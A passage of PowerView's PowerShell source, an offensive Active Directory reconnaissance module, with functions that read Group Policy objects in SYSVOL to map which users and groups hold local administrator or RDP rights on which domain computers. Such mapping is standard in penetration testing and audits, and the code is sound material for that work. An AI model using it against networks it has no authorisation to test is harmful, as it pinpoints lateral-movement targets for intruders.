$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
|
|
Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
|
|
$SearcherArguments['Domain'] = $IdentityDomain
|
|
$GPOSearcher = Get-DomainSearcher @SearcherArguments
|
|
if (-not $GPOSearcher) {
|
|
Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'"
|
|
}
|
|
}
|
|
}
|
|
elseif ($IdentityInstance -match '{.*}') {
|
|
$IdentityFilter += "(name=$IdentityInstance)"
|
|
}
|
|
else {
|
|
try {
|
|
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
|
|
$IdentityFilter += "(objectguid=$GuidByteString)"
|
|
}
|
|
catch {
|
|
$IdentityFilter += "(displayname=$IdentityInstance)"
|
|
}
|
|
}
|
|
}
|
|
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
|
|
$Filter += "(|$IdentityFilter)"
|
|
}
|
|
|
|
if ($PSBoundParameters['LDAPFilter']) {
|
|
Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter"
|
|
$Filter += "$LDAPFilter"
|
|
}
|
|
|
|
$Filter = "(&(objectCategory=groupPolicyContainer)$Filter)"
|
|
Write-Verbose "[Get-DomainGPO] filter string: $($Filter)"
|
|
|
|
$Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$Filter"
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
if ($PSBoundParameters['Raw']) {
|
|
# return raw result objects
|
|
$GPO = $_
|
|
$GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
|
|
}
|
|
else {
|
|
if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {
|
|
$Prop = @{}
|
|
foreach ($a in $_.Attributes.Keys | Sort-Object) {
|
|
if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'ntsecuritydescriptor') -or ($a -eq 'logonhours')) {
|
|
$Prop[$a] = $_.Attributes[$a]
|
|
}
|
|
else {
|
|
$Values = @()
|
|
foreach ($v in $_.Attributes[$a].GetValues([byte[]])) {
|
|
$Values += [System.Text.Encoding]::UTF8.GetString($v)
|
|
}
|
|
$Prop[$a] = $Values
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
$Prop = $_.Properties
|
|
}
|
|
|
|
if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) {
|
|
$GPO = Convert-LDAPProperty -Properties $Prop
|
|
try {
|
|
$GPODN = $GPO.distinguishedname
|
|
$GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
|
|
$gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)"
|
|
$GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath
|
|
}
|
|
catch {
|
|
Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)"
|
|
}
|
|
}
|
|
else {
|
|
$GPO = Convert-LDAPProperty -Properties $Prop
|
|
}
|
|
$GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
|
|
}
|
|
$GPO
|
|
}
|
|
if ($Results) {
|
|
try { $Results.dispose() }
|
|
catch {
|
|
Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainGPOLocalGroup {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups'
|
|
or Group Policy preferences. Also return their user membership mappings, if they exist.
|
|
|
|
Author: @harmj0y
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID
|
|
|
|
.DESCRIPTION
|
|
|
|
First enumerates all GPOs in the current/target domain using Get-DomainGPO with passed
|
|
arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or
|
|
group membership is set through Group Policy Preferences groups.xml files. For any
|
|
GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership'
|
|
section data is processed if present. Any found Groups.xml files are parsed with
|
|
Get-GroupsXML and those memberships are returned as well.
|
|
|
|
.PARAMETER Identity
|
|
|
|
A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'),
|
|
GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted.
|
|
|
|
.PARAMETER ResolveMembersToSIDs
|
|
|
|
Switch. Indicates that any member names should be resolved to their domain SIDs.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainGPOLocalGroup
|
|
|
|
Returns all local groups set by GPO along with their members and memberof.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainGPOLocalGroup -ResolveMembersToSIDs
|
|
|
|
Returns all local groups set by GPO along with their members and memberof,
|
|
and resolve any members to their domain SIDs.
|
|
|
|
.EXAMPLE
|
|
|
|
'{0847C615-6C4E-4D45-A064-6001040CC21C}' | Get-DomainGPOLocalGroup
|
|
|
|
Return any GPO-set groups for the GPO with the given name/GUID.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainGPOLocalGroup 'Desktops'
|
|
|
|
Return any GPO-set groups for the GPO with the given display name.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainGPOLocalGroup -Credential $Cred
|
|
|
|
.LINK
|
|
|
|
https://morgansimonsenblog.azurewebsites.net/tag/groups/
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.GPOGroup')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
|
|
[String[]]
|
|
$Identity,
|
|
|
|
[Switch]
|
|
$ResolveMembersToSIDs,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
|
|
$ConvertArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $ConvertArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
|
|
|
|
$SplitOption = [System.StringSplitOptions]::RemoveEmptyEntries
|
|
}
|
|
|
|
PROCESS {
|
|
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
|
|
|
|
Get-DomainGPO @SearcherArguments | ForEach-Object {
|
|
$GPOdisplayName = $_.displayname
|
|
$GPOname = $_.name
|
|
$GPOPath = $_.gpcfilesyspath
|
|
|
|
$ParseArgs = @{ 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" }
|
|
if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential }
|
|
|
|
# first parse the 'Restricted Groups' file (GptTmpl.inf) if it exists
|
|
$Inf = Get-GptTmpl @ParseArgs
|
|
|
|
if ($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) {
|
|
$Memberships = @{}
|
|
|
|
# parse the members/memberof fields for each entry
|
|
ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) {
|
|
$Group, $Relation = $Membership.Key.Split('__', $SplitOption) | ForEach-Object {$_.Trim()}
|
|
# extract out ALL members
|
|
$MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_}
|
|
|
|
if ($PSBoundParameters['ResolveMembersToSIDs']) {
|
|
# if the resulting member is username and not a SID, attempt to resolve it
|
|
$GroupMembers = @()
|
|
ForEach ($Member in $MembershipValue) {
|
|
if ($Member -and ($Member.Trim() -ne '')) {
|
|
if ($Member -notmatch '^S-1-.*') {
|
|
$ConvertToArguments = @{'ObjectName' = $Member}
|
|
if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
|
|
$MemberSID = ConvertTo-SID @ConvertToArguments
|
|
|
|
if ($MemberSID) {
|
|
$GroupMembers += $MemberSID
|
|
}
|
|
else {
|
|
$GroupMembers += $Member
|
|
}
|
|
}
|
|
else {
|
|
$GroupMembers += $Member
|
|
}
|
|
}
|
|
}
|
|
$MembershipValue = $GroupMembers
|
|
}
|
|
|
|
if (-not $Memberships[$Group]) {
|
|
$Memberships[$Group] = @{}
|
|
}
|
|
if ($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)}
|
|
$Memberships[$Group].Add($Relation, $MembershipValue)
|
|
}
|
|
|
|
ForEach ($Membership in $Memberships.GetEnumerator()) {
|
|
if ($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) {
|
|
# if the SID is already resolved (i.e. begins with *) try to resolve SID to a name
|
|
$GroupSID = $Membership.Key.Trim('*')
|
|
if ($GroupSID -and ($GroupSID.Trim() -ne '')) {
|
|
$GroupName = ConvertFrom-SID -ObjectSID $GroupSID @ConvertArguments
|
|
}
|
|
else {
|
|
$GroupName = $False
|
|
}
|
|
}
|
|
else {
|
|
$GroupName = $Membership.Key
|
|
|
|
if ($GroupName -and ($GroupName.Trim() -ne '')) {
|
|
if ($Groupname -match 'Administrators') {
|
|
$GroupSID = 'S-1-5-32-544'
|
|
}
|
|
elseif ($Groupname -match 'Remote Desktop') {
|
|
$GroupSID = 'S-1-5-32-555'
|
|
}
|
|
elseif ($Groupname -match 'Guests') {
|
|
$GroupSID = 'S-1-5-32-546'
|
|
}
|
|
elseif ($GroupName.Trim() -ne '') {
|
|
$ConvertToArguments = @{'ObjectName' = $Groupname}
|
|
if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
|
|
$GroupSID = ConvertTo-SID @ConvertToArguments
|
|
}
|
|
else {
|
|
$GroupSID = $Null
|
|
}
|
|
}
|
|
}
|
|
|
|
$GPOGroup = New-Object PSObject
|
|
$GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
|
|
$GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName
|
|
$GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath
|
|
$GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups'
|
|
$GPOGroup | Add-Member Noteproperty 'Filters' $Null
|
|
$GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName
|
|
$GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID
|
|
$GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof
|
|
$GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members
|
|
$GPOGroup.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup')
|
|
$GPOGroup
|
|
}
|
|
}
|
|
|
|
# now try to the parse group policy preferences file (Groups.xml) if it exists
|
|
$ParseArgs = @{
|
|
'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml"
|
|
}
|
|
|
|
Get-GroupsXML @ParseArgs | ForEach-Object {
|
|
if ($PSBoundParameters['ResolveMembersToSIDs']) {
|
|
$GroupMembers = @()
|
|
ForEach ($Member in $_.GroupMembers) {
|
|
if ($Member -and ($Member.Trim() -ne '')) {
|
|
if ($Member -notmatch '^S-1-.*') {
|
|
|
|
# if the resulting member is username and not a SID, attempt to resolve it
|
|
$ConvertToArguments = @{'ObjectName' = $Groupname}
|
|
if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
|
|
$MemberSID = ConvertTo-SID -Domain $Domain -ObjectName $Member
|
|
|
|
if ($MemberSID) {
|
|
$GroupMembers += $MemberSID
|
|
}
|
|
else {
|
|
$GroupMembers += $Member
|
|
}
|
|
}
|
|
else {
|
|
$GroupMembers += $Member
|
|
}
|
|
}
|
|
}
|
|
$_.GroupMembers = $GroupMembers
|
|
}
|
|
|
|
$_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
|
|
$_ | Add-Member Noteproperty 'GPOName' $GPOName
|
|
$_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences'
|
|
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup')
|
|
$_
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainGPOUserLocalGroupMapping {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Enumerates the machines where a specific domain user/group is a member of a specific
|
|
local group, all through GPO correlation. If no user/group is specified, all
|
|
discoverable mappings are returned.
|
|
|
|
Author: @harmj0y
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainGPOLocalGroup, Get-DomainObject, Get-DomainComputer, Get-DomainOU, Get-DomainSite, Get-DomainGroup
|
|
|
|
.DESCRIPTION
|
|
|
|
Takes a user/group name and optional domain, and determines the computers in the domain
|
|
the user/group has local admin (or RDP) rights to.
|
|
|
|
It does this by:
|
|
1. resolving the user/group to its proper SID
|
|
2. enumerating all groups the user/group is a current part of
|
|
and extracting all target SIDs to build a target SID list
|
|
3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling
|
|
Get-DomainGPOLocalGroup
|
|
4. matching the target SID list to the queried GPO SID list
|
|
to enumerate all GPO the user is effectively applied with
|
|
5. enumerating all OUs and sites and applicable GPO GUIs are
|
|
applied to through gplink enumerating
|
|
6. querying for all computers under the given OUs or sites
|
|
|
|
If no user/group is specified, all user/group -> machine mappings discovered through
|
|
GPO relationships are returned.
|
|
|
|
.PARAMETER Identity
|
|
|
|
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
|
|
for the user/group to identity GPO local group mappings for.
|
|
|
|
.PARAMETER LocalGroup
|
|
|
|
The local group to check access against.
|
|
Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
|
|
or a custom local SID. Defaults to local 'Administrators'.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to enumerate GPOs for, defaults to the current domain.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainGPOUserLocalGroupMapping
|
|
|
|
Find all user/group -> machine relationships where the user/group is a member
|
|
of the local administrators group on target machines.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainGPOUserLocalGroupMapping -Identity dfm -Domain dev.testlab.local
|
|
|
|
Find all computers that dfm user has local administrator rights to in
|
|
the dev.testlab.local domain.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainGPOUserLocalGroupMapping -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.GPOLocalGroupMapping
|
|
|
|
A custom PSObject containing any target identity information and what local
|
|
group memberships they're a part of through GPO correlation.
|
|
|
|
.LINK
|
|
|
|
http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.GPOUserLocalGroupMapping')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
|
|
[String]
|
|
$Identity,
|
|
|
|
[String]
|
|
[ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')]
|
|
$LocalGroup = 'Administrators',
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
$CommonArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential }
|
|
}
|
|
|
|
PROCESS {
|
|
$TargetSIDs = @()
|
|
|
|
if ($PSBoundParameters['Identity']) {
|
|
$TargetSIDs += Get-DomainObject @CommonArguments -Identity $Identity | Select-Object -Expand objectsid
|
|
$TargetObjectSID = $TargetSIDs
|
|
if (-not $TargetSIDs) {
|
|
Throw "[Get-DomainGPOUserLocalGroupMapping] Unable to retrieve SID for identity '$Identity'"
|
|
}
|
|
}
|
|
else {
|
|
# no filtering/match all
|
|
$TargetSIDs = @('*')
|
|
}
|
|
|
|
if ($LocalGroup -match 'S-1-5') {
|
|
$TargetLocalSID = $LocalGroup
|
|
}
|
|
elseif ($LocalGroup -match 'Admin') {
|
|
$TargetLocalSID = 'S-1-5-32-544'
|
|
}
|
|
else {
|
|
# RDP
|
|
$TargetLocalSID = 'S-1-5-32-555'
|
|
}
|
|
|
|
if ($TargetSIDs[0] -ne '*') {
|
|
ForEach ($TargetSid in $TargetSids) {
|
|
Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Enumerating nested group memberships for: '$TargetSid'"
|
|
$TargetSIDs += Get-DomainGroup @CommonArguments -Properties 'objectsid' -MemberIdentity $TargetSid | Select-Object -ExpandProperty objectsid
|
|
}
|
|
}
|
|
|
|
Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Target localgroup SID: $TargetLocalSID"
|
|
Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Effective target domain SIDs: $TargetSIDs"
|
|
|
|
$GPOgroups = Get-DomainGPOLocalGroup @CommonArguments -ResolveMembersToSIDs | ForEach-Object {
|
|
$GPOgroup = $_
|
|
# if the locally set group is what we're looking for, check the GroupMembers ('members') for our target SID
|
|
if ($GPOgroup.GroupSID -match $TargetLocalSID) {
|
|
$GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object {
|
|
if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) {
|
|
$GPOgroup
|
|
}
|
|
}
|
|
}
|
|
# if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs
|
|
if ( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) {
|
|
if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) {
|
|
$GPOgroup
|
|
}
|
|
}
|
|
} | Sort-Object -Property GPOName -Unique
|
|
|
|
$GPOgroups | Where-Object {$_} | ForEach-Object {
|
|
$GPOname = $_.GPODisplayName
|
|
$GPOguid = $_.GPOName
|
|
$GPOPath = $_.GPOPath
|
|
$GPOType = $_.GPOType
|
|
if ($_.GroupMembers) {
|
|
$GPOMembers = $_.GroupMembers
|
|
}
|
|
else {
|
|
$GPOMembers = $_.GroupSID
|
|
}
|
|
|
|
$Filters = $_.Filters
|
|
|
|
if ($TargetSIDs[0] -eq '*') {
|
|
# if the * wildcard was used, set the targets to all GPO members so everything it output
|
|
$TargetObjectSIDs = $GPOMembers
|
|
}
|
|
else {
|
|
$TargetObjectSIDs = $TargetObjectSID
|
|
}
|
|
|
|
# find any OUs that have this GPO linked through gpLink
|
|
Get-DomainOU @CommonArguments -Raw -Properties 'name,distinguishedname' -GPLink $GPOGuid | ForEach-Object {
|
|
if ($Filters) {
|
|
$OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname,distinguishedname' -SearchBase $_.Path | Where-Object {$_.distinguishedname -match ($Filters.Value)} | Select-Object -ExpandProperty dnshostname
|
|
}
|
|
else {
|
|
$OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname' -SearchBase $_.Path | Select-Object -ExpandProperty dnshostname
|
|
}
|
|
|
|
if ($OUComputers) {
|
|
if ($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)}
|
|
|
|
ForEach ($TargetSid in $TargetObjectSIDs) {
|
|
$Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid'
|
|
|
|
$IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
|
|
|
|
$GPOLocalGroupMapping = New-Object PSObject
|
|
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
|
|
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
|
|
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
|
|
$GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain
|
|
$GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup
|
|
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname
|
|
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid
|
|
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath
|
|
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType
|
|
$GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.Properties.distinguishedname
|
|
$GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $OUComputers
|
|
$GPOLocalGroupMapping.PSObject.TypeNames.Insert(0, 'PowerView.GPOLocalGroupMapping')
|
|
$GPOLocalGroupMapping
|
|
}
|
|
}
|
|
}
|
|
|
|
# find any sites that have this GPO linked through gpLink
|
|
Get-DomainSite @CommonArguments -Properties 'siteobjectbl,distinguishedname' -GPLink $GPOGuid | ForEach-Object {
|
|
ForEach ($TargetSid in $TargetObjectSIDs) {
|
|
$Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid'
|
|
|
|
$IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
|
|
|
|
$GPOLocalGroupMapping = New-Object PSObject
|
|
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
|
|
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
|
|
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
|
|
$GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup
|
|
$GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain
|
|
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname
|
|
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid
|
|
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath
|
|
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType
|
|
$GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
|
|
$GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl
|
|
$GPOLocalGroupMapping.PSObject.TypeNames.Add('PowerView.GPOLocalGroupMapping')
|
|
$GPOLocalGroupMapping
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainGPOComputerLocalGroupMapping {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Takes a computer (or GPO) object and determines what users/groups are in the specified
|
|
local group for the machine through GPO correlation.
|
|
|
|
Author: @harmj0y
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainComputer, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainGPOLocalGroup
|
|
|
|
.DESCRIPTION
|
|
|
|
This function is the inverse of Get-DomainGPOUserLocalGroupMapping, and finds what users/groups
|
|
are in the specified local group for a target machine through GPO correlation.
|
|
|
|
If a -ComputerIdentity is specified, retrieve the complete computer object, attempt to
|
|
determine the OU the computer is a part of. Then resolve the computer's site name with
|
|
Get-NetComputerSiteName and retrieve all sites object Get-DomainSite. For those results, attempt to
|
|
enumerate all linked GPOs and associated local group settings with Get-DomainGPOLocalGroup. For
|
|
each resulting GPO group, resolve the resulting user/group name to a full AD object and
|
|
return the results. This will return the domain objects that are members of the specified
|
|
-LocalGroup for the given computer.
|
|
|
|
Otherwise, if -OUIdentity is supplied, the same process is executed to find linked GPOs and
|
|
